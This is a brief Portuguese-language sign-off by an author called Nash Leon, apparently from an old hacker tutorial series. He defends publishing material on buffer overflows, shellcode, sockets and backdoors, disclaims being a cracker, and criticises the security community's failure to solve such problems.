Muita gente tem me procurado e perguntado porque eu tenho divulgado essas
infos, buffer overflows, shellcode, sockets, agora backdoor, estah vindo
um de IPC e LKM, e etc, o pessoal do Unsekurity tambem estah providenciando 
material, uns consideram que o que estamos divulgando eh basico outros nao,
enfim, acho que respostas vem com o tempo..Se estou sendo sincero no que
digo ou nao, somente o tempo poderah responder isso para terceiros.Tem um
ditado que diz: "Cada um colhe o que planta", nao tou querendo construir
um exercito de crackers, mas sim o contrario, pois eu nao boto feh que a
comunidade de seguranca resolva algum problema, eles tem apanhado a tanto
tempo(vide Buffer Overflow - Nao existe solucao eficiente, vide IP-Spoof
- Nao existe ainda solucao eficiente, vide DDoS - Nao existe ainda solucao
eficiente, etc, etc. etc),ou se ataca a raiz do problema, ou tah todo mundo 
lascado!! Quem me conhece sabe que nao sou cracker, que nao compartilho 
com ideias crackers, para ser mais sincero, sou contra os crackers.Espero
com o tempo que as coisas venham a clarear para todos.De qualquer forma,
amigo, nao importa quem eu seja ou quem fui ou vou ser, no fim das contas,
somos todos iguais, humanos imperfeitos, em busca de encontrar sentido
para essa vida tao sofrida! O que importa eh a informacao que disponibilizo!
Nao faco parte da "elite", nao sou um hacker ou super hacker, nao sou um
lamer, tb nao sou um wannable, ou um kiddie, tb nao sou um cracker, entao,
amigo, o que sou afinal??:) - Eu sou poh!!!
Sem mais..Um abraco.

						Nash Leon.

-----------------------------------EOF------------------------------------
